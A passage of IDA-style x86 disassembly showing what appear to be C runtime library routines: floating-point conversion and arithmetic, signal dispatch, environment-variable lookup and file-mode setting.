jmp short loc_425BBA
; ---------------------------------------------------------------------------
loc_425BFC: ; CODE XREF: sub_4258C1+334j
mov esi, 1451h
loc_425C01: ; CODE XREF: sub_4258C1+322j
mov [ebp+var_1C], esi
loc_425C04: ; CODE XREF: sub_4258C1+371j
cmp dword_43F824, 1
jle short loc_425C1C
movzx eax, bl
push 4
push eax
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_425C2B
; ---------------------------------------------------------------------------
loc_425C1C: ; CODE XREF: sub_4258C1+34Aj
mov ecx, off_43F618
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_425C2B: ; CODE XREF: sub_4258C1+359j
test eax, eax
jz short loc_425C34
mov bl, [edi]
inc edi
jmp short loc_425C04
; ---------------------------------------------------------------------------
loc_425C34: ; CODE XREF: sub_4258C1+99j
; sub_4258C1+E4j ...
dec edi
jmp short loc_425C39
; ---------------------------------------------------------------------------
loc_425C37: ; CODE XREF: sub_4258C1+261j
; sub_4258C1+2BCj
mov edi, ecx
loc_425C39: ; CODE XREF: sub_4258C1+2DDj
; sub_4258C1+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_425D21
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_425C65
cmp [ebp+var_45], 5
jl short loc_425C59
inc [ebp+var_45]
loc_425C59: ; CODE XREF: sub_4258C1+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_425C68
; ---------------------------------------------------------------------------
loc_425C65: ; CODE XREF: sub_4258C1+38Dj
mov eax, [ebp+var_C]
loc_425C68: ; CODE XREF: sub_4258C1+3A2j
cmp [ebp+var_4], 0
jbe loc_425D17
loc_425C72: ; CODE XREF: sub_4258C1+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_425C80
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_425C72
; ---------------------------------------------------------------------------
loc_425C80: ; CODE XREF: sub_4258C1+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_4257FA
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_425C9F
neg eax
loc_425C9F: ; CODE XREF: sub_4258C1+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_425CAA
add eax, [ebp+arg_10]
loc_425CAA: ; CODE XREF: sub_4258C1+3E4j
cmp [ebp+var_24], ecx
jnz short loc_425CB2
sub eax, [ebp+arg_14]
loc_425CB2: ; CODE XREF: sub_4258C1+3ECj
cmp eax, 1450h
jle short loc_425CE9
mov [ebp+var_2C], 1
loc_425CC0: ; CODE XREF: sub_4258C1+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_425CCC: ; CODE XREF: sub_4258C1+454j
; sub_4258C1+45Ej
cmp [ebp+var_2C], 0
jz short loc_425D32
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_425D47
; ---------------------------------------------------------------------------
loc_425CE9: ; CODE XREF: sub_4258C1+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_425CF9
mov [ebp+var_30], 1
jmp short loc_425CC0
; ---------------------------------------------------------------------------
loc_425CF9: ; CODE XREF: sub_4258C1+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_4264AA
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_425CCC
; ---------------------------------------------------------------------------
loc_425D17: ; CODE XREF: sub_4258C1+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_425CCC
; ---------------------------------------------------------------------------
loc_425D21: ; CODE XREF: sub_4258C1+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_425D47
; ---------------------------------------------------------------------------
loc_425D32: ; CODE XREF: sub_4258C1+40Fj
cmp [ebp+var_30], 0
jz short loc_425D47
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_425D47: ; CODE XREF: sub_4258C1+426j
; sub_4258C1+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_4258C1 endp
; ---------------------------------------------------------------------------
off_425D62 dd offset loc_42592B ; DATA XREF: sub_4258C1+63r
dd offset loc_42597A ; jump table for switch statement
dd offset loc_4259D1
dd offset loc_4259FB
dd offset loc_425A56
dd offset loc_425ACD
dd offset loc_425B03
dd offset loc_425B4D
dd offset loc_425B2C
dd offset loc_425BB1
dd offset loc_425B9B
dd offset loc_425B67
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425D92 proc near ; CODE XREF: sub_424CB9+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_425DF4
mov byte ptr [ebx+2], 2Dh
jmp short loc_425DF8
; ---------------------------------------------------------------------------
loc_425DF4: ; CODE XREF: sub_425D92+5Aj
mov byte ptr [ebx+2], 20h
loc_425DF8: ; CODE XREF: sub_425D92+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_425E1E
test edi, edi
jnz short loc_425E1E
cmp [ebp+arg_0], edi
jnz short loc_425E1E
loc_425E09: ; CODE XREF: sub_425D92+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_42601C
; ---------------------------------------------------------------------------
loc_425E1E: ; CODE XREF: sub_425D92+6Cj
; sub_425D92+70j ...
cmp dx, si
jnz short loc_425E9D
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_425E37
cmp [ebp+arg_0], 0
jz short loc_425E46
loc_425E37: ; CODE XREF: sub_425D92+9Dj
test edi, 40000000h
jnz short loc_425E46
push offset a1Snan ; "1#SNAN"
jmp short loc_425E8C
; ---------------------------------------------------------------------------
loc_425E46: ; CODE XREF: sub_425D92+A3j
; sub_425D92+ABj
test cx, cx
jz short loc_425E60
cmp edi, 0C0000000h
jnz short loc_425E60
cmp [ebp+arg_0], 0
jnz short loc_425E87
push offset a1Ind ; "1#IND"
jmp short loc_425E6F
; ---------------------------------------------------------------------------
loc_425E60: ; CODE XREF: sub_425D92+B7j
; sub_425D92+BFj
cmp edi, eax
jnz short loc_425E87
cmp [ebp+arg_0], 0
jnz short loc_425E87
push offset a1Inf ; "1#INF"
loc_425E6F: ; CODE XREF: sub_425D92+CCj
lea eax, [ebx+4]
push eax
call sub_41C520
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_425E7E: ; CODE XREF: sub_425D92+109j
and [ebp+var_4], 0
jmp loc_425FF5
; ---------------------------------------------------------------------------
loc_425E87: ; CODE XREF: sub_425D92+C5j
; sub_425D92+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_425E8C: ; CODE XREF: sub_425D92+B2j
lea eax, [ebx+4]
push eax
call sub_41C520
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_425E7E
; ---------------------------------------------------------------------------
loc_425E9D: ; CODE XREF: sub_425D92+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_4264AA
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_425EFE
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_42628A
pop ecx
pop ecx
loc_425EFE: ; CODE XREF: sub_425D92+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_425F18
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_425F1B
jmp loc_425E09
; ---------------------------------------------------------------------------
loc_425F18: ; CODE XREF: sub_425D92+173j
mov edi, [ebp+arg_C]
loc_425F1B: ; CODE XREF: sub_425D92+17Fj
cmp edi, 15h
jle short loc_425F23
push 15h
pop edi
loc_425F23: ; CODE XREF: sub_425D92+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_425F39: ; CODE XREF: sub_425D92+1B4j
lea eax, [ebp+var_10]
push eax
call sub_42579F
dec [ebp+arg_14]
pop ecx
jnz short loc_425F39
test esi, esi
jge short loc_425F63
neg esi
and esi, 0FFh
jle short loc_425F63
loc_425F56: ; CODE XREF: sub_425D92+1CFj
lea eax, [ebp+var_10]
push eax
call sub_4257CD
dec esi
pop ecx
jnz short loc_425F56
loc_425F63: ; CODE XREF: sub_425D92+1B8j
; sub_425D92+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_425FC0
mov [ebp+arg_C], ecx
loc_425F73: ; CODE XREF: sub_425D92+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_42579F
lea eax, [ebp+var_10]
push eax
call sub_42579F
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_425741
lea eax, [ebp+var_10]
push eax
call sub_42579F
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_425F73
mov eax, [ebp+arg_14]
loc_425FC0: ; CODE XREF: sub_425D92+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_425FFD
loc_425FCD: ; CODE XREF: sub_425D92+248j
cmp eax, ecx
jb short loc_425FE0
cmp byte ptr [eax], 39h
jnz short loc_425FDC
mov byte ptr [eax], 30h
dec eax
jmp short loc_425FCD
; ---------------------------------------------------------------------------
loc_425FDC: ; CODE XREF: sub_425D92+242j
cmp eax, ecx
jnb short loc_425FE4
loc_425FE0: ; CODE XREF: sub_425D92+23Dj
inc eax
inc word ptr [ebx]
loc_425FE4: ; CODE XREF: sub_425D92+24Cj
inc byte ptr [eax]
loc_425FE6: ; CODE XREF: sub_425D92+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_425FF5: ; CODE XREF: sub_425D92+F0j
mov eax, [ebp+var_4]
loc_425FF8: ; CODE XREF: sub_425D92+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_425FFD: ; CODE XREF: sub_425D92+239j
; sub_425D92+275j
cmp eax, ecx
jb short loc_42600D
cmp byte ptr [eax], 30h
jnz short loc_426009
dec eax
jmp short loc_425FFD
; ---------------------------------------------------------------------------
loc_426009: ; CODE XREF: sub_425D92+272j
cmp eax, ecx
jnb short loc_425FE6
loc_42600D: ; CODE XREF: sub_425D92+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_42601C: ; CODE XREF: sub_425D92+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_425FF8
sub_425D92 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426025 proc near ; CODE XREF: sub_422BFC+229Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_42608C
dec eax
dec eax
jz short loc_42607D
sub eax, 4
jz short loc_42607D
sub eax, 3
jz short loc_42607D
sub eax, 4
jz short loc_426070
sub eax, 6
jz short loc_426063
dec eax
jz short loc_426056
or eax, 0FFFFFFFFh
jmp loc_42614E
; ---------------------------------------------------------------------------
loc_426056: ; CODE XREF: sub_426025+27j
mov esi, dword_4DE8CC
mov eax, offset dword_4DE8CC
jmp short loc_426097
; ---------------------------------------------------------------------------
loc_426063: ; CODE XREF: sub_426025+24j
mov esi, dword_4DE8C8
mov eax, offset dword_4DE8C8
jmp short loc_426097
; ---------------------------------------------------------------------------
loc_426070: ; CODE XREF: sub_426025+1Fj
mov esi, dword_4DE8D0
mov eax, offset dword_4DE8D0
jmp short loc_426097
; ---------------------------------------------------------------------------
loc_42607D: ; CODE XREF: sub_426025+10j
; sub_426025+15j ...
push edi
call sub_426152
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_426097
; ---------------------------------------------------------------------------
loc_42608C: ; CODE XREF: sub_426025+Cj
mov esi, dword_4DE8C4
mov eax, offset dword_4DE8C4
loc_426097: ; CODE XREF: sub_426025+3Cj
; sub_426025+49j ...
cmp esi, 1
jnz short loc_4260A3
xor eax, eax
jmp loc_42614E
; ---------------------------------------------------------------------------
loc_4260A3: ; CODE XREF: sub_426025+75j
test esi, esi
jnz short loc_4260AE
push 3
call sub_41BE32
loc_4260AE: ; CODE XREF: sub_426025+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_4260C0
cmp edi, 0Bh
jz short loc_4260C0
cmp edi, 4
jnz short loc_4260E6
loc_4260C0: ; CODE XREF: sub_426025+8Fj
; sub_426025+94j
mov ebx, dword_4DE6A0
and dword_4DE6A0, 0
cmp edi, ecx
jnz short loc_426115
mov edx, dword_43FC6C
mov dword_43FC6C, 8Ch
mov [ebp+arg_0], edx
jmp short loc_4260E9
; ---------------------------------------------------------------------------
loc_4260E6: ; CODE XREF: sub_426025+99j
mov ebx, [ebp+arg_0]
loc_4260E9: ; CODE XREF: sub_426025+BFj
cmp edi, ecx
jnz short loc_426115
mov eax, dword_43FC60
mov ecx, dword_43FC64
add ecx, eax
cmp eax, ecx
jge short loc_42611C
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:43FBF0h[edx*4]
loc_42610A: ; CODE XREF: sub_426025+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_42610A
jmp short loc_42611C
; ---------------------------------------------------------------------------
loc_426115: ; CODE XREF: sub_426025+AAj
; sub_426025+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_42612A
loc_42611C: ; CODE XREF: sub_426025+D7j
; sub_426025+EEj
push dword_43FC6C
push 8
call esi
pop ecx
pop ecx
jmp short loc_426138
; ---------------------------------------------------------------------------
loc_42612A: ; CODE XREF: sub_426025+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_426138
cmp edi, 4
jnz short loc_42614B
loc_426138: ; CODE XREF: sub_426025+103j
; sub_426025+10Cj
cmp edi, 8
mov dword_4DE6A0, ebx
jnz short loc_42614B
mov eax, [ebp+arg_0]
mov dword_43FC6C, eax
loc_42614B: ; CODE XREF: sub_426025+111j
; sub_426025+11Cj
xor eax, eax
pop ebx
loc_42614E: ; CODE XREF: sub_426025+2Cj
; sub_426025+79j
pop edi
pop esi
pop ebp
retn
sub_426025 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426152 proc near ; CODE XREF: sub_426025+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43FC68
cmp dword_43FBEC, edx
push esi
mov eax, offset dword_43FBE8
jz short loc_426180
lea esi, [ecx+ecx*2]
lea esi, ds:43FBE8h[esi*4]
loc_426174: ; CODE XREF: sub_426152+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_426180
cmp [eax+4], edx
jnz short loc_426174
loc_426180: ; CODE XREF: sub_426152+16j
; sub_426152+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43FBE8h[ecx*4]
cmp eax, ecx
jnb short loc_426194
cmp [eax+4], edx
jz short locret_426196
loc_426194: ; CODE XREF: sub_426152+3Bj
xor eax, eax
locret_426196: ; CODE XREF: sub_426152+40j
retn
sub_426152 endp
; =============== S U B R O U T I N E =======================================
sub_426197 proc near ; CODE XREF: sub_424EBC+23p
arg_0 = dword ptr 4
cmp dword_4DFC70, 0
push ebx
push esi
mov esi, dword_4DE5EC
push edi
jz short loc_42620E
test esi, esi
jnz short loc_4261C8
cmp dword_4DE5F4, esi
jz short loc_42620E
call sub_426565
test eax, eax
jnz short loc_42620E
mov esi, dword_4DE5EC
test esi, esi
jz short loc_42620E
loc_4261C8: ; CODE XREF: sub_426197+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_42620E
push ebx
call sub_41B650
pop ecx
mov edi, eax
loc_4261D9: ; CODE XREF: sub_426197+6Dj
mov eax, [esi]
test eax, eax
jz short loc_42620E
push eax
call sub_41B650
cmp eax, edi
pop ecx
jbe short loc_426201
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_426201
push edi
push ebx
push eax
call sub_426526
add esp, 0Ch
test eax, eax
jz short loc_426206
loc_426201: ; CODE XREF: sub_426197+51j
; sub_426197+59j
add esi, 4
jmp short loc_4261D9
; ---------------------------------------------------------------------------
loc_426206: ; CODE XREF: sub_426197+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_426210
; ---------------------------------------------------------------------------
loc_42620E: ; CODE XREF: sub_426197+10j
; sub_426197+1Cj ...
xor eax, eax
loc_426210: ; CODE XREF: sub_426197+75j
pop edi
pop esi
pop ebx
retn
sub_426197 endp
; =============== S U B R O U T I N E =======================================
sub_426214 proc near ; CODE XREF: sub_4255DA+8Bp
; sub_4255DA+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DFA20
jnb short loc_42627B
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DF920[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_42627B
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_426254
and cl, 7Fh
jmp short loc_426261
; ---------------------------------------------------------------------------
loc_426254: ; CODE XREF: sub_426214+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_42626F
or cl, 80h
loc_426261: ; CODE XREF: sub_426214+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42626F: ; CODE XREF: sub_426214+48j
mov dword_4DE5C4, 16h
jmp short loc_426285
; ---------------------------------------------------------------------------
loc_42627B: ; CODE XREF: sub_426214+Bj
; sub_426214+27j
mov dword_4DE5C4, 9
loc_426285: ; CODE XREF: sub_426214+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_426214 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42628A proc near ; CODE XREF: sub_425D92+165p
; sub_4264AA+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_42648A
cmp cx, 7FFFh
jnb loc_42648A
cmp dx, 0BFFDh
ja loc_42648A
cmp dx, 3FBFh
ja short loc_4262F3
xor eax, eax
jmp short loc_42632D
; ---------------------------------------------------------------------------
loc_4262F3: ; CODE XREF: sub_42628A+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_426315
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_426315
xor eax, eax
cmp [esi+4], eax
jnz short loc_426317
cmp [esi], eax
jnz short loc_426317
jmp loc_426484
; ---------------------------------------------------------------------------
loc_426315: ; CODE XREF: sub_42628A+71j
; sub_42628A+79j
xor eax, eax
loc_426317: ; CODE XREF: sub_42628A+80j
; sub_42628A+84j
cmp cx, ax
jnz short loc_42633A
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_42633A
cmp [ebx+4], eax
jnz short loc_42633A
cmp [ebx], eax
jnz short loc_42633A
loc_42632D: ; CODE XREF: sub_42628A+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_4264A5
; ---------------------------------------------------------------------------
loc_42633A: ; CODE XREF: sub_42628A+90j
; sub_42628A+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_42634A: ; CODE XREF: sub_42628A+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_42639E
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_426366: ; CODE XREF: sub_42628A+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_425720
add esp, 0Ch
test eax, eax
jz short loc_426391
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_426391: ; CODE XREF: sub_42628A+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_426366
loc_42639E: ; CODE XREF: sub_42628A+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_42634A
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_4263E1
loc_4263BC: ; CODE XREF: sub_42628A+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_4263DA
lea eax, [ebp+var_24]
push eax
call sub_42579F
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_4263BC
loc_4263DA: ; CODE XREF: sub_42628A+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_42641A
loc_4263E1: ; CODE XREF: sub_42628A+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_42641A
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_4263FA: ; CODE XREF: sub_42628A+184j
test byte ptr [ebp+var_24], 1
jz short loc_426403
inc [ebp+var_14]
loc_426403: ; CODE XREF: sub_42628A+174j
lea eax, [ebp+var_24]
push eax
call sub_4257CD
dec ebx
pop ecx
jnz short loc_4263FA
cmp [ebp+var_14], 0
jz short loc_42641A
or byte ptr [ebp+var_24], 1
loc_42641A: ; CODE XREF: sub_42628A+155j
; sub_42628A+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_426431
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_426466
loc_426431: ; CODE XREF: sub_42628A+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_426463
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_42645E
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_426458
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_426466
; ---------------------------------------------------------------------------
loc_426458: ; CODE XREF: sub_42628A+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_426466
; ---------------------------------------------------------------------------
loc_42645E: ; CODE XREF: sub_42628A+1B5j
inc [ebp+var_20+2]
jmp short loc_426466
; ---------------------------------------------------------------------------
loc_426463: ; CODE XREF: sub_42628A+1ABj
inc [ebp+var_24+2]
loc_426466: ; CODE XREF: sub_42628A+1A5j
; sub_42628A+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_42648A
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_426484: ; CODE XREF: sub_42628A+86j
mov [esi+0Ah], ax
jmp short loc_4264A5
; ---------------------------------------------------------------------------
loc_42648A: ; CODE XREF: sub_42628A+42j
; sub_42628A+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_4264A5: ; CODE XREF: sub_42628A+ABj
; sub_42628A+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_42628A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4264AA proc near ; CODE XREF: sub_4258C1+440p
; sub_425D92+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_4400E8
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_426523
jge short loc_4264D2
mov eax, [ebp+arg_4]
mov ebx, offset dword_440248
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_4264D2: ; CODE XREF: sub_4264AA+16j
cmp [ebp+arg_8], ecx
jnz short loc_4264DD
mov eax, [ebp+arg_0]
mov [eax], cx
loc_4264DD: ; CODE XREF: sub_4264AA+2Bj
cmp [ebp+arg_4], ecx
jz short loc_426523
push esi
push edi
loc_4264E4: ; CODE XREF: sub_4264AA+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_42651C
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_42650F
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_42650F: ; CODE XREF: sub_4264AA+57j
push esi
push [ebp+arg_0]
call sub_42628A
pop ecx
pop ecx
xor ecx, ecx
loc_42651C: ; CODE XREF: sub_4264AA+49j
cmp [ebp+arg_4], ecx
jnz short loc_4264E4
pop edi
pop esi
loc_426523: ; CODE XREF: sub_4264AA+14j
; sub_4264AA+36j
pop ebx
leave
retn
sub_4264AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426526 proc near ; CODE XREF: sub_426197+5Ep
; sub_4269D7+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_426533
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426533: ; CODE XREF: sub_426526+7j
push dword_4DFA24
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_4DFC44
call sub_4265D3
add esp, 1Ch
test eax, eax
jnz short loc_426560
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426560: ; CODE XREF: sub_426526+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_426526 endp
; =============== S U B R O U T I N E =======================================
sub_426565 proc near ; CODE XREF: sub_426197+1Ep
; sub_426850+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_4DE5F4
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_4265C6
mov ebx, dword_42818C
loc_42657E: ; CODE XREF: sub_426565+5Fj
push edi
push edi
